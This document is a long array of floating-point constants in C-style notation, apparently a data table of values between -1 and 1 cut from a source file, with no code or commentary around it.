0.0694373671332735f, 0.759953164582251f, -0.0973030480378387f, -0.298615297250225f, 0.0176506580013247f, -0.269562553201540f, -0.405489169051539f, -0.00491991297033256f, -0.0327449030548885f, -0.688168836745951f, 0.703014457338754f, -0.0909491575673764f, 0.738417882180070f, 0.202377973915515f, 0.338436193625848f, -0.408790267504483f, 0.611776208408261f, -0.711043784659083f, 0.841495665411188f, -0.0445715899008592f, -0.127281559164749f, -0.778797832908623f, 0.210344625249896f, 0.287086540530447f, -0.703702357088620f, -0.151146112491418f, -0.785180444786487f, 0.427963227387140f, 0.873814130606035f, -0.344356753075357f, -0.755726746591465f, 0.846013365191461f, 0.126678120904524f, 0.166687962199295f, -0.148273386834835f, -0.770559345875477f, -0.999129219024862f, -0.223692721084046f, -0.652712854614213f, 0.468054498362978f, -0.911782175948953f, 0.555084850374905f, 0.103972972463380f, -0.414021910330282f, 0.938793897617340f, 0.515461292224815f, -0.127677414947037f, 0.510661477088580f, 0.898409443447962f, 0.528096097102698f, -0.444620870908750f, -0.275909952832928f, -0.516074838791812f, 0.110104492330694f, -0.293114842926621f, -0.596621371059734f, 0.152807456749103f, -0.592864305196648f, 0.948295231208874f, -0.575278847840010f, -0.312463646261757f, 0.664597237604897f, -0.177619554099550f, -0.932259652303036f, -0.295074750863924f, 0.731539128777660f, 0.860409131570119f, -0.0947206503071862f, 0.106073387018718f, -0.235389180430490f, -0.494787189603633f, -0.536357147973158f, -0.680862001049455f, 0.618979489665256f, 0.613893487415732f, -0.308605775713246f, 0.694789556987429f, -0.440049894326668f, 0.908690328690240f, 0.233612239829512f, -0.190662564463532f, -0.344799878911344f, -0.185877286582818f, -0.553543917790750f, -0.859543533414720f, -0.996044831818542f, 0.0388505104043095f, 0.650508591477642f, -0.425233346101631f, -0.576839967180874f, 0.378730359294024f, 0.531713629917424f, 0.506096660522796f, 0.854779196325727f, 0.725302682547051f, -0.414685510902716f, 0.654208477287561f, 0.580368151427426f, -0.000356066597174687f, -0.897393734991154f, -0.845565244312410f, 0.615044057364182f, 0.0434592638759266f, 0.342119048500289f, -0.696414680186901f, -0.713269554140146f, -0.580866925323696f, -0.290886355957456f, -0.473082507703548f, 0.517942229000179f, -0.846159512055215f, -0.715410253368047f, -0.526272663742330f, 0.114004124940380f, -0.207397773975621f, -0.920379649009572f, -0.277970833475531f, -0.636533427057722f, -0.972531734576472f, -0.687000156900366f, 0.872752357637196f, 0.617872391924648f, -0.835274231587444f, -0.383282792481497f, 0.399233665040770f, -0.191230601890140f, 0.620222785371960f, 0.106379326744619f, 0.987222511696630f, 0.219022023664391f, 0.179689082166371f, -0.961619514581522f, 0.570178582343486f, -0.811091514477978f, 0.924484469376845f, 0.744507591138529f, 0.272936430096096f, 0.0646316580619510f, 0.314005111302676f, 0.558833629327024f, -0.329744916784918f, -0.544045568909541f, 0.895769679770795f, 0.798125821580789f, 0.877473384028199f, 0.616163339432501f, 0.441057381106904f, -0.642498173762053f, 0.989059595616979f, -0.374771110304453f, 0.480877593471524f, 0.904941689893360f, 0.428742160807762f, -0.430483645585549f, 0.0830560957640680f, 0.694220841170708f, -0.602964792788891f, -0.522672782287498f, 0.717494777479591f, -0.918002255923909f, -0.454075191574169f, -0.378662039464110f, 0.221482629450150f, 0.750918040362614f, -0.636211037178780f, -0.254529141198887f, -0.944623201010144f, -0.720775773991847f, -0.674641067104323f, -0.208243950413264f, -0.959488786545901f, -0.619966503980330f, 0.599486634018692f, -0.0955439064236721f, -0.458181000169795f, 0.736914498713083f, -0.176789993854223f, 0.676652697410790f, -0.967275583857650f, 0.319377813603719f, -0.427030468653864f, 0.0670640089595258f, 0.769945699222976f, 0.767923203047440f, 0.985790354694142f, -0.207111795449682f, 0.219134401666738f, 0.548513609112215f, 0.977227384558063f, -0.198131173309759f, 0.914163808432723f, 0.178214485462450f, -0.240590252223318f, 0.356128697574950f, 0.453093488702627f, -0.0401152114159198f, 0.818060948361957f, -0.880551400213416f, 0.631519794065582f, 0.658832307703964f, -0.179752451562622f, -0.237844011105596f, 0.739834592198990f, 0.711355594921083f, 0.774856912009109f, 0.321864249971600f, 0.470574585274056f, 0.261964793641569f, -0.634481134262705f, 0.461363065389595f, 0.0879014163867016f, 0.698353456328335f, 0.0611830044908546f, 0.918599000791453f, -0.147822590771951f, -0.208296009525534f, 0.775436805889909f, 0.0380914463017457f, -0.954468558268744f, -0.620451283908529f, -0.770251739379244f, 0.772246778681563f, 0.326462458587915f, 0.417738473564738f, 0.0942643452092895f, 0.486153909005530f, -0.720202618855819f, 0.0172425211828453f, -0.460430186764708f, -0.582933725313246f, -0.439721219285309f, -0.694337374508112f, 0.493516461453915f, -0.993527345413430f, -0.562763570629586f, -0.0644937992008268f, 0.741476357523546f, -0.668588797988340f, 0.594184164979780f, -0.605220767543645f, 0.110074204567278f, -0.599398769115359f, 0.723882026196765f, 0.678747828159456f, -0.608589528492249f, -0.881419419882399f, -0.139357674240927f, 0.873828011683502f, 0.314798068434754f, -0.457017849147976f, -0.526003289738433f, -0.411404919696823f, -0.792254466556923f, -0.299635866135236f, 0.0102316480137963f, 0.161921266554201f, 0.981427028530907f, -0.647351555346480f, -0.183312260273700f, -0.348651484808239f, -0.198142718294920f, 0.589869434168343f, -0.201926511662287f, 0.0337896878721506f, -0.0276515055864679f, 0.236943449722327f, -0.473103622922213f, 0.954358213176107f, -0.536519478008862f, -0.603363977756898f, 0.776267386457251f, 0.780662223932714f, 0.289187291033147f, -0.439954328280331f, 0.0429585232791456f, 0.457321950803212f, 0.236810565417317f, 0.167393310927116f, 0.634521586990289f, 0.154409349572581f, -0.750588956901316f, 0.862647670558265f, 0.800182258889404f, -0.342011510602950f, -0.102697321575297f, -0.797254530582515f, -0.718599505627591f, -0.729105921762328f, -0.152424255231618f, -0.702781451563249f, -0.0212710413372206f, 0.961258625954530f, -0.598484979483616f, 0.188043416567111f, -0.511990501189325f, -0.437449883017104f, -0.352443017251219f, 0.0991554004559394f, -0.663282401319921f, -0.835139403797870f, 0.587602722898819f, -0.939771062270554f, 0.613878515061637f, -0.523857415147229f, 0.444842501987166f, -0.297001528475358f, -0.914581150341453f, 0.554844832376064f, -0.816400014706997f, 0.823726509832068f, 0.704425080572720f, -0.819397910034912f, 0.999003444973468f, -0.968751535943602f, 0.0311500939174130f, 0.247867291448898f, 0.835560943875924f, 0.169794916341582f, -0.302041142019408f, 0.289549413666482f, 0.672141268085176f, 0.947060095876251f, 0.324754171403184f, 0.800014020753458f, -0.785428883146460f, -0.463092135879982f, 0.659192831110219f, 0.118301326248760f, -0.542297334341874f, -0.335957421787428f, 0.794808066256455f, 0.625133567458879f, 0.227917183877260f, 0.533557157748932f, -0.948877884679630f, 0.186417887458649f, 0.859592912781013f, -0.0183320237921572f, 0.967066787435574f, -0.141349529637213f, 0.958107445094614f, 0.264359167622140f, -0.631325355674829f, 0.684598042547604f, -0.527467468151933f, 0.294659298854560f, -0.439220168509424f, 0.391038218778621f, 0.0155669207052447f, -0.681384294454809f, 0.146739459198561f, -0.756404876084652f, 0.381192113543008f, 0.442850940158445f, 0.964002016096921f, -0.0507253848694798f, 0.563462880019551f, 0.190980650425415f, 0.482598778123453f, -0.273426091300166f, 0.980640722167518f, 0.198298590133615f, 0.678100193958147f, 0.530416610025615f, 0.196483886579908f, -0.00515783872303177f, 0.0273438459465027f, -0.257248394117661f, -0.576964504105195f, -0.331030677719652f, 0.389178134459083f, 0.0714066784585938f, 0.915179137858455f, 0.529738860096996f, -0.0851681338619263f, -0.692212896293625f, 0.0786352959300358f, -0.122712774017974f, -0.154641019547052f, -0.487537192251297f, 0.0435645872670241f, 0.856938631597551f, 0.351874085305670f, 0.708100804109985f, -0.701200509799317f, 0.0804479422214388f, -0.0794375302823220f, 0.543751723132725f, 0.346144383452864f, -0.680373368944156f, -0.572281173045994f, 0.237981706511708f, 0.0671482960376590f, 0.852393956008547f, -0.301262907769845f, 0.523762878044853f, 0.0885512158718469f, 0.885168455552951f, -0.333351382431635f, -0.914187358461713f, 0.657220242471575f, 0.202238670865175f, -0.660684692864216f, 0.641271628674064f, 0.795923699912913f, -0.332641448887164f, -0.297595219329770f, 0.427283618553541f, 0.601893958036382f, 0.355248259075043f, -0.420766820174961f, 0.355159952778514f, -0.806733697216087f, -0.694403711049608f, -0.719250654428532f, 0.580487742419744f, 0.959156165420351f, -0.941898541689400f, 0.960568821753178f, 0.119007749103819f, -0.973468502734443f, -0.627534816021182f, 0.331394418445345f, -0.415230278112412f, 0.225355270950915f, -0.216818510922154f, 0.716553646689289f, 0.149097723527982f, -0.212491921692561f, 0.681645638056938f, 0.675358683729395f, 0.0591550775861416f, -0.221626142364110f, -0.235878877821190f, 0.168188057112471f, -0.709738432254387f, 0.842890391064944f, -0.331175752377862f, 0.231375360302226f, -0.714989093452242f, -0.492645353426504f, 0.552424848261518f, -0.436987392663331f, -0.336155191719795f, 0.137666231065822f, 0.739347397348610f, 0.493222787180627f, 0.283646543313800f, -0.603522923409923f, -0.474181275984451f, 0.249315354427624f, 0.323736714335287f, 0.933612934150728f, -0.651555022796413f, -0.743229221575077f, -0.648309364385349f, 0.115117716036212f, -0.0689988553878600f, 0.0394979772968704f, 0.732729774997258f, 0.487584669162102f, 0.808754952095239f, 0.827617962775983f, 0.550826738558347f, 0.890858298785235f, 0.152998196795770f, 0.401198245071198f, 0.187173931669199f, 0.576387011979054f, -0.464903903379260f, 0.735172244343599f, -0.0393734341215035f, -0.501927105416023f, -0.852926247859480f, 0.384774001880198f, 0.723957370923565f, 0.869614310250896f, 0.698124990202440f, -0.0618370378422302f, -0.273879540781302f, -0.0745005910544518f, -0.754408143155094f, -0.859084370639359f, -0.709011936778905f, -0.883595552533659f, 0.326386065122049f, 0.756686513420982f, -0.639817612043620f, -0.536531544653662f, -0.596858657734988f, -0.187117983404806f, 0.760208405412209f, 0.191383034225783f, -0.771443976174702f, -0.371171018178012f, 0.723338724416329f, -0.325113980261468f, -0.652823731845602f, -0.902765567501679f, -0.109945188610355,
0.863727536109734f, 0.762531987550249f, 0.484671237555863f, -0.376731181566557f, -0.961176245257487f, 0.374503763045540f, -0.275274129954644f, 0.947951135663002f, 0.891610575724484f, 0.233179187366345f, 0.868694446846928f, -0.201812205484274f, -0.676342903796604f, 0.962133604967067f, 0.0941637112283598f, -0.0856261317646829f, 0.375061189807232f, -0.275342940020193f, 0.0614298144531287f, -0.183234253182376f, 0.146964792162229f, -0.307180215012337f, -0.139123531176191f, 0.130840221889238f, -0.0654726742084248f, 0.988722897887987f, -0.805684911622576f, 0.763299463922693f, 0.148136188784880f, -0.432183160161832f, -0.592185939638987f, -0.593835208842770f, -0.366135084813261f, 0.840566739882685f, 0.572052978307971f, -0.825682529425410f, -0.970222226210689f, -0.554421263584439f, 0.324648156825255f, 0.0472246837302466f, 0.168098848238140f, 0.00634984653176796f, 0.850237261066903f, 0.286624344510407f, 0.196043215794080f, 0.289161416244007f, 0.334801090322515f, 0.871286740072183f, -0.754609531300255f, 0.623871003889383f, 0.0843430009639772f, -0.736369938040848f, 0.400507674511444f, 0.816325383600297f, -0.500667496861800f, 0.453092855162135f, 0.281798170796444f, 0.631969623501011f, 0.472467114651372f, 0.525988741184527f, -0.124862967293674f, -0.882904489381606f, -0.501090007558747f, 0.631622297793485f, -0.0234210285578584f, -0.521093811962915f, -0.0402368492672573f, -0.762999364505356f, 0.948716268452360f, -0.572740830308272f, -0.261042904339051f, -0.506108365537530f, 0.585933508412429f, -0.362463094458446f, -0.885375028242576f, -0.835757117571791f, 0.337250829139564f, 0.298618238243588f, -0.744903291826588f, -0.979848674056393f, -0.488518944548476f, -0.000297116577397283f, -0.137863396173336f, -0.627207234158244f, -0.970417810284170f, -0.601487862773028f, -0.999527775716382f, 0.116672274325216f, -0.786330829714504f, 0.740118245374718f, 0.856485463622646f, -0.555144930193560f, -0.0168912375666686f, -0.774544329159697f, -0.782767315598991f, -0.600844843420598f, 0.885816107471180f, 0.577075799078571f, 0.663829997048111f, -0.359000184287277f, -0.390009578642891f, 0.202240602818017f, -0.0191477232064394f, -0.566459499064884f, 0.288883557382261f, 0.962583478738218f, 0.782123756762393f, -0.312311582870785f, -0.749354208187204f, 0.205679267602357f, 0.804004517387718f, -0.733078779233144f, -0.426195645938973f, 0.686872484317089f, -0.398704803137823f, -0.267786412313359f, -0.374306263341615f, 0.632992513422251f, -0.972217744254910f, -0.167080739523409f, 0.608176739669718f, -0.935550125875275f, -0.422451600932096f, 0.499643952974426f, -0.491034978653149f, -0.0256130378373849f, -0.158669355267388f, 0.360503946885584f, 0.227714934784132f, -0.138648043280479f, -0.0707461296301128f, 0.0638330442765616f, -0.168811643868974f, -0.575670642767690f, -0.162143785491822f, 0.528621079903453f, 0.581283330394272f, 0.444430744183000f, 0.859288341846780f, -0.170487584890459f, -0.440175706710406f, -0.184806402672108f, 0.676010805169568f, -0.0117535553470483f, -0.231606756742133f, -0.210042044569361f, -0.517950708003565f, -0.805772781723687f, 0.156938933772370f, 0.892075905739393f, 0.403874478002384f, 0.572031508558373f, -0.604145909072008f, -0.330076696654475f, 0.0314560087228033f, 0.683787496948704f, -0.788582181996934f, 0.835276281386949f, -0.0644658492206380f, 0.938270191882745f, -0.344927907293928f, -0.976720519493346f, 0.906264084343827f, -0.648152742145255f, -0.776984965421811f, -0.299470572593974f, -0.423690646950321f, 0.749911693814570f, -0.701929894551648f, -0.665191316321370f, -0.568359320650352f, -0.957309362369509f, 0.914088966355983f, 0.770952996203681f, 0.0924190787439159f, 0.844599990803978f, -0.613336716591875f, -0.683270165308367f, 0.358563204319583f, 0.934597169812267f, 0.236596595813630f, -0.895964332479994f, -0.673302324943916f, 0.454883302340070f, -0.473926010524343f, -0.576000657136217f, -0.644850950007290f, -0.980218836434995f, 0.321620362364719f, -0.799924718666919f, 0.0619872524925393f, -0.609255645268410f, 0.159243124858648f, -0.339764623434603f, 0.379865023026277f, -0.923132229333074f, -0.0300494021321296f, -0.183835365297645f, 0.122648511393234f, 0.887652015676064f, -0.616448517838488f, -0.920600866006207f, 0.352861591267815f, -0.930578364778234f, -0.378819076263050f, 0.775423778544869f, 0.836977798656885f, 0.0472244767469148f, 0.484934339557912f, -0.939155187409193f, 0.261555270800537f, 0.143595058480400f, -0.323517719771947f, 0.483466454684928f, -0.423163689969697f, 0.356966814701025f, -0.843907304366205f, 0.945903563730962f, -0.495952298317153f, 0.972277051575873f, 0.153052037173145f, -0.715894882755676f, -0.617028915483254f, -0.332307224095366f, -0.171207102890728f, 0.841771328272651f, -0.0308707743261867f, -0.626480028747696f, -0.729235538916864f, -0.743517330301179f, -0.733868915239511f, -0.449192858200231f, 0.362286468575150f, 0.327436676142902f, 0.609768663831898f, -0.147499187968100f, -0.470195300907973f, -0.232167856443943f, 0.225074905574485f, -0.0818541072414634f, 0.793403933843056f, 0.267628199755028f, -0.391701371806294f, -0.846991992740029f, -0.776221590294324f, 0.121351482320532f, -0.189789365942677f, -0.894392208695015f, -0.632864319945356f, 0.927817761109627f, -0.732454610273421f, 0.260011686544283f, -0.713973491605344f, 0.469764032416604f, -0.608895265807545f, -0.684992974060601f, -0.745556289276139f, -0.536308213076133f, 0.586581187207818f, 0.149804345860779f, 0.401576742698496f, -0.719670291046630f, 0.618659855530024f, -0.256639783379370f, -0.862966031725668f, 0.893866512913152f, 0.861800793529066f, -0.704895723095590f, 0.154163397540805f, -0.0775797186536984f, -0.252297335448882f, 0.869851864160888f, 0.428747373815147f, -0.818372805928921f, -0.739117647833389f, -0.697378012429133f, 0.182997863108567f, 0.689563104159966f, -0.0506114067037338f, -0.705077813920782f, 0.452892458862023f, -0.365069844049503f, -0.889224821648518f, 0.0194889225677406f, 0.847743515500726f, -0.0650338075825718f, -0.108889937983496f, -0.168485037502421f, 0.912533003086865f, 0.428132366084106f, 0.692652998111620f, 0.130599999674344f, 0.411245435867244f, -0.194909473459497f, 0.562152151569866f, 0.503795293326445f, 0.801805532943245f, 0.795718119772331f, -0.327975015537058f, 0.771389506217327f, 0.237139782375987f, -0.793798852884360f, 0.537824655594807f, -0.0767253125021830f, 0.444538451472890f, 0.623473048970629f, -0.500663871860675f, -0.890399840538612f, 0.389528755348857f, -0.915832255765501f, 0.000652855725217894f, -0.121310443088642f, 0.206662014558968f, -0.409513641801496f, -0.0496262665388731f, -0.313314447256644f, -0.994839397423865f, 0.344513198428247f, 0.250828855150578f, 0.845438302422055f, -0.728803841305459f, 0.249670562418639f, 0.543601559270672f, 0.0138774767713057f, -0.0667600054234216f, -0.803421294778238f, -0.222729734665659f, 0.461896933387103f, -0.378537171475208f, -0.464200027877777f, -0.363170335357481f, 0.616070694104851f, -0.316407896795124f, 0.131719997218670f, 0.0622146037260092f, -0.881713850066484f, 0.400811652868418f, 0.163777537634682f, -0.528768052383715f, 0.553072310703894f, 0.931393033749660f, 0.410062835546529f, -0.190904471223264f, 0.0533617852685424f, -0.911780226731855f, 0.823696403963215f, 0.756735978125573f, -0.849701310148249f, 0.106070214350541f, 0.747890454578944f, -0.559823302095172f, 0.976181619002882f, 0.506524051225122f, -0.0735228576098872f, 0.635610640336510f, 0.607728217052133f, -0.383443012662118f, -0.640835123345673f, 0.0897243696426577f, 0.722421963278953f, -0.368833835044170f, 0.684790387373836f, -0.0336846755494535f, 0.199819176553169f, 0.351822803019512f, -0.433387005248570f, 0.709401898386598f, -0.0149217994364210f, -0.549115733466769f, -0.774049259429836f, 0.440376751789406f, 0.740171176715015f, -0.322301969056869f, -0.148261856544327f, 0.724527166150266f, -0.744178178219827f, -0.743031462890542f, -0.00997727490160383f, 0.550074849063942f, 0.147825200269716f, 0.777182602759074f, -0.625412073440604f, -0.0614214671235789f, -0.400121310797195f, 0.864511820640236f, 0.327656445569618f, 0.765838911283705f, -0.906185069285438f, 0.543656228031101f, -0.527337383463707f, 0.544932532036177f, 0.453966596910417f, -0.422906847383216f, 0.803455668330395f, 0.496651297123425f, -0.254890927444284f, -0.940902660088963f, -0.0691448074129200f, 0.0165534278793877f, 0.510199004798987f, -0.0286331020627788f, -0.141471298460923f, 0.872000980716430f, -0.752995088893842f, 0.167696515625982f, -0.181673581299286f, 0.496236252387172f, 0.854022562040503f, 0.388320660177419f, 0.499320363074588f, 0.173522726183149f, 0.0334192536945390f, 0.631347719906229f, -0.832803059709609f, -0.523826088751894f, 0.322557683663180f, 0.0263621365506006f, 0.948982322858062f, -0.253991680115490f, -0.165970359640120f, 0.331700483099733f, 0.808731855823033f, 0.159862831431822f, -0.438178259673022f, -0.943749594272300f, -0.967819867274861f, 0.263403865531262f, 0.710981741513574f, -0.274597382335371f, 0.929606564147885f, 0.125943272920181f, 0.691306164809532f, -0.607946869004681f, 0.284352421048012f, -0.421663515398071f, -0.409479725854699f, -0.152265311389352f, 0.630868673855242f, 0.123144840061153f, -0.645105689918733f, 0.360153393247973f, 0.683885744053582f, 0.752598814717991f, -0.581494857182821f, -0.469116962448560f, -0.0691726199196117f, 0.174679188611332f, 0.351269328558955f, 0.394815335607621f, 0.710281940645013f, -0.618593505217632f, -0.721546422551907f, -0.974088703589852f, 0.939556772536401f, 0.599407011070674f, -0.342213391542906f, -0.387135346574836f, -0.572027944718123f, -0.622717582512866f, -0.676949872287677f, 0.993953153886700f, -0.784539234625462f, 0.788778188174951f, -0.0652679971583152f, -0.988740647590182f, 0.748989697777310f, 0.412949190397683f, 0.206661198525718f, 0.573116044772809f, 0.938498079842984f, 0.743167714677278f, 0.755679122637903f, -0.295095987460132f, 0.217166189740252f, 0.230160404687938f, -0.504654557405015f, 0.472402206737240f, -0.867751757044285f, 0.869050101160567f, -0.905285205825199f, -0.0698843699947245f, 0.762379282963140f, 0.634191197174691f, -0.498487028811837f, -0.284257632541078f, 0.224245853978976f, 0.412950901773606f, -0.831984679101472f, -0.375663639002356f, 0.153699995838016f, -0.953997055484851f, -0.545360745186449f, 0.637687001020610f, 0.465459355638311f, 0.0769011654935299f, 0.267123343048604f, 0.545842501706277f, 0.778890986545214f, -0.363432183057524f, 0.479786652022207,
-0.600912698239979f, -0.738845504293020f, -0.775987143750184f, -0.705559714187038f, -0.310523750352236f, -0.576081829930414f, -0.0341897834633795f, -0.388414434291246f, -0.790681299048144f, -0.169440674711419f, 0.219815472280053f, -0.323451599202462f, 0.835623141427806f, -0.932446301638351f, -0.831480966559550f, -0.185050128422203f, 0.946045240208487f, 0.864740749402213f, 0.916918979039328f, -0.204049261822351f, -0.807183358636872f, -0.484543897885746f, 0.974235382435000f, -0.208019257024664f, 0.647411336652954f, 0.0961385231960816f, -0.800258527388060f, 0.352982142334643f, 0.917274278881503f, -0.733934252997685f, -0.229420044045673f, -0.358499183112933f, 0.469156578609832f, -0.859359096702447f, -0.937762141277625f, 0.389776419837803f, 0.458425599271073f, 0.542973137971009f, 0.675023236195573f, 0.944029213696263f, -0.774027667733194f, 0.262984845114612f, 0.842689106929982f, 0.349251854560315f, 0.815938991679117f, -0.226283690374971f, 0.144356327986477f, -0.610588223452142f, 0.539695204296007f, 0.655759463021729f, -0.725805170479948f, -0.194977831685847f, -0.306105075607822f, 0.725461617920836f, 0.678283785172857f, 0.250577882812283f, -0.571672652704059f, 0.112132856850530f, -0.236412229648694f, 0.768173015701816f, -0.799251028098975f, 0.100723381526471f, 0.113856811781171f, -0.0281630563735495f, -0.0727902548617043f, -0.515248547261805f, 0.795765010992038f, 0.505540143557856f, -0.496124371632015f, -0.363010091302494f, -0.302067159683438f, 0.941309812688142f, 0.0564765277142674f, 0.733027295879568f, 0.582734217224559f, -0.159007222603058f, 0.827637470837748f, -0.163060519537145f, 0.352357500273427f, 0.920405360379926f, -0.280691553157313f, -0.401974149240862f, -0.131353114797667f, 0.0719728276882135f, 0.795795661384902f, -0.348203323368113f, 0.946184663961743f, -0.188400643814906f, 0.979319203447783f, -0.132195434304746f, 0.585832597473452f, -0.894730397941282f, -0.998045985412111f, -0.717844040997160f, -0.706372640246558f, 0.237517748136224f, 0.767232946579208f, -0.246080656591091f, -0.767887803661775f, 0.139501344992184f, -0.545658806327887f, 0.480755550666584f, -0.355750609145607f, -0.493518864013929f, 0.832011102158605f, 0.122542855024589f, 0.179356501845966f, 0.630805165349165f, -0.888557403477561f, 0.861375782261841f, 0.963467658712489f, -0.00498707715217361f, 0.341894517453263f, 0.654808049991043f, -0.826909952854692f, 0.101446328788119f, 0.401514152845232f, -0.830556985096328f, 0.832187560444347f, -0.657254039822149f, 0.0304197382717133f, -0.718462386339415f, -0.592343549551534f, -0.356333235896531f, 0.674135547073730f, 0.606490641440102f, -0.707328770155748f, 0.0251846271186025f, 0.763024927861424f, -0.258224600040528f, 0.456384203436896f, 0.626482995304888f, 0.162353458245830f, 0.964280614412026f, 0.869262296229816f, -0.0659501568862260f, -0.712869755397848f, -0.946968242335746f, -0.852822740386429f, 0.791522782900379f, 0.824530390150335f, -0.369383609091590f, 0.118366422602132f, -0.713278848975255f, 0.549165545117801f, -0.00201102645336770f, 0.748955154405439f, -0.173689412898754f, 0.175162399203493f, 0.0819730422177463f, -0.804833155982895f, 0.972966530563786f, -0.0614871820303859f, -0.293463394754661f, 0.885919261783643f, 0.498531250561504f, -0.808874001349436f, 0.364344357769432f, -0.945616638616975f, -0.285864129675031f, -0.0438177789332626f, 0.303981486324719f, 0.362653007142366f, -0.543157427730716f, 0.174551703296805f, 0.140105048664068f, -0.704163993684247f, -0.647461975308389f, 0.831243960763754f, -0.364954329841192f, -0.730289885595360f, 0.0119708019435723f, 0.796338505809816f, -0.227851954967331f, -0.927330125804492f, 0.0602265250934577f, -0.485204061877453f, 0.198319346525046f, -0.529723177394882f, -0.321493822700232f, -0.839566193416413f, -0.187812484529161f, -0.396142329367383f, 0.367600156667632f, -0.922657847865138f, 0.893508892950972f, -0.504434314314017f, 0.663184814192863f, 0.887813887366393f, 0.267103483259066f, 0.984313142773772f, -0.667515321448428f, 0.0718416862496054f, -0.733363156570869f, 0.00186343206374962f, -0.316531364321301f, -0.467549697367438f, 0.569865535259013f, -0.556502178434536f, -0.650896672234238f, 0.564462797319346f, 0.585276582729153f, -0.433005641153548f, 0.847012427243871f, -0.462088105064984f, -0.379468633087939f, -0.0104892833799723f, 0.654191676584918f, -0.893278846859767f, -0.689350274835588f, -0.333220721049179f, -0.0461703436190983f, -0.463411501818667f, -0.995085073808794f, 0.526075522777196f, -0.0686703698159610f, -0.855908120278260f, -0.239774384006192f, -0.524142243888286f, 0.119526621106050f, -0.838266471869898f, -0.459366707886497f, -0.974921205300089f, -0.680517660007036f, 0.507695286553230f, 0.0920009889477380f, -0.674459855090400f, 0.554585280302756f, 0.357871391273056f, 0.453052004120624f, -0.991707675828263f, 0.144725488641274f, 0.0886535789688503f, 0.708257184179799f, 0.579351194763774f, 0.902098539548710f, 0.0104715251706708f, 0.112677648152527f, 0.0513772996762050f, -0.647561525299580f, 0.321958856072156f, -0.433510239079594f, -0.481493822802105f, 0.651663699618654f, 0.922649363108760f, -0.751799312011289f, -0.0336105332513619f, 0.236872038257485f, -0.0434863841224971f, 0.150810692021768f, -0.217629544451037f, 0.345890414626050f, -0.471941673338326f, 0.675001035054686f, -0.986585320322202f, -0.784679789758475f, 0.270727429189404f, 0.595792127677512f, -0.485969146811564f, 0.222507692419212f, -0.850070310429306f, -0.575184466843042f, -0.220860571657717f, -0.749449040845746f, 0.743039624335149f, 0.463892797640518f, 0.224829531690830f, 0.935410439714992f, 0.00609595972560872f, 0.830877831388658f, 0.0270299847557276f, -0.648763861115704f, 0.471982277585509f, -0.145722971031426f, 0.650947186397952f, -0.266164907037466f, -0.962378355156458f, 0.354855353373398f, -0.184127215272909f, -0.825621979621661f, 0.595495186093792f, 0.448679578752395f, -0.839671989567806f, 0.302158874138200f, -0.735484620769119f, -0.891040803749876f, 0.880298595525880f, -0.281199581528421f, 0.0195033020490396f, -0.511515485794419f, 0.447303195702203f, 0.375317547074287f, 0.964442757731427f, 0.167643569291013f, 0.0118587246816413f, 0.958187068873858f, 0.315395458761821f, 0.188852872643367f, 0.417450657662866f, -0.540566147670448f, -0.422709015019828f, 0.101425586029329f, -0.235465301656357f, -0.806044548641562f, -0.617153815671298f, 0.350658348898447f, -0.738540593521098f, 0.291893065415692f, 0.335435501842245f, 0.832048727909480f, -0.609539777284250f, -0.436992256701542f, -0.685315947977391f, -0.502107715051164f, -0.893460699283628f, -0.262263680492396f, 0.454417031133778f, 0.223227655510993f, 0.605288383003966f, -0.698800586984034f, 0.864843125666124f, 0.363752223710394f, -0.354571459375900f, -0.575008718239530f, 0.423061550052490f, -0.272459660313524f, -0.116932919064239f, 0.547073367599225f, -0.890822451422250f, -0.884262586749836f, -0.889803003239001f, 0.217660629852574f, 0.154863581361214f, -0.333284425759330f, -0.826087281020982f, -0.958198419703014f, 0.850114828540176f, -0.391190814837661f, 0.956578087128909f, 0.0541599967910713f, 0.0988550815990206f, 0.851903747125444f, 0.361959550717838f, -0.901818125706440f, -0.0561477675277424f, 0.522090821863134f, 0.263383912024089f, -0.161061362097086f, -0.983707460720128f, -0.333128836619106f, -0.546535222349413f, 0.627261888412583f, 0.408731616102241f, 0.754700916401496f, 0.869772826180715f, 0.362242883540519f, 0.853587698951791f, -0.698910717068557f, -0.671945256263701f, 0.802655941071284f, 0.338701009518668f, -0.0297818698247327f, -0.881311052338108f, -0.296717226328950f, -0.965699941652671f, -0.737164428831818f, 0.00804554422537485f, 0.989716933531351f, -0.832438692682457f, 0.454553001515962f, -0.933801685729775f, -0.644562445615081f, 0.104508389084640f, -0.535426180524709f, -0.937041822784313f, 0.599911275476691f, -0.789109397888652f, 0.821293320968620f, 0.818032308067912f, -0.838306491947354f, -0.172883985566904f, -0.185775969502745f, -0.672256019841514f, -0.412525056012874f, 0.142272136963196f, 0.792136721788200f, -0.726314486042219f, -0.445981475954073f, -0.857821372905156f, -0.783006950965519f, 0.438776336055643f, 0.400193156140386f, 0.177525578340235f, -0.435380642286229f, 0.547815754835977f, 0.0496394855194708f, -0.442174406426496f, -0.0856142956982360f, -0.0247840885457120f, -0.779016166389253f, -0.511802368745331f, 0.319887353303028f, 0.721806644023428f, 0.770423389111803f, 0.809969588377187f, -0.196191981856391f, -0.105718971622809f, -0.301674515042257f, 0.613622254387482f, -0.969517273103490f, 0.0144576310630131f, -0.668829420461301f, 0.750377960820232f, 0.696858494013122f, -0.563485511352760f, 0.726226115587466f, -0.227540741583116f, 0.665488592033944f, -0.124611809537824f, 0.489550286613580f, -0.579185308695604f, 0.628687311174276f, -0.295770837727116f, 0.240358361854250f, -0.155642183802961f, -0.885945841456110f, 0.388592282428421f, -0.663862196774143f, 0.363779469451472f, -0.371285870971327f, 0.563159689631810f, 0.102725415308920f, -0.320909176496511f, 0.334328794247963f, -0.401664407219370f, 0.726728495517480f, -0.192310060924823f, -0.107973316004269f, 0.898177814643418f, 0.456682306673978f, 0.890742303266606f, -0.742770990765425f, 0.0337493848747046f, 0.786190819119190f, 0.911503487800545f, 0.288384155888888f, -0.249479393879906f, -0.431949793185094f, -0.0847659302921913f, -0.475416985100444f, -0.362720571751962f, 0.676910741300893f, 0.00488530543559529f, -0.227678010632002f, -0.0632947771540859f, -0.990261099329279f, -0.708485805011827f, -0.304846597458441f, -0.480289782580152f, -0.593254971635338f, -0.656335976085053f, 0.584373334310954f, -0.493268395245234f, -0.00212668034894836f, -0.480221591678953f, 0.622365041709782f, -0.258845071515928f, 0.943825418665593f, -0.716642329101759f, -0.765317239111819f, 0.324487844009035f, 0.108158868464706f, -0.790583201992229f, -0.649218622127061f, 0.751409704126257f, 0.301455204388007f, 0.620482350165047f, 0.411016780608874f, -0.878843779367281f, -0.779673415191805f, 0.616508572699874f, 0.0750844738292273f, 0.341011338533919f, -0.553376665552953f, 0.277561087965059f, 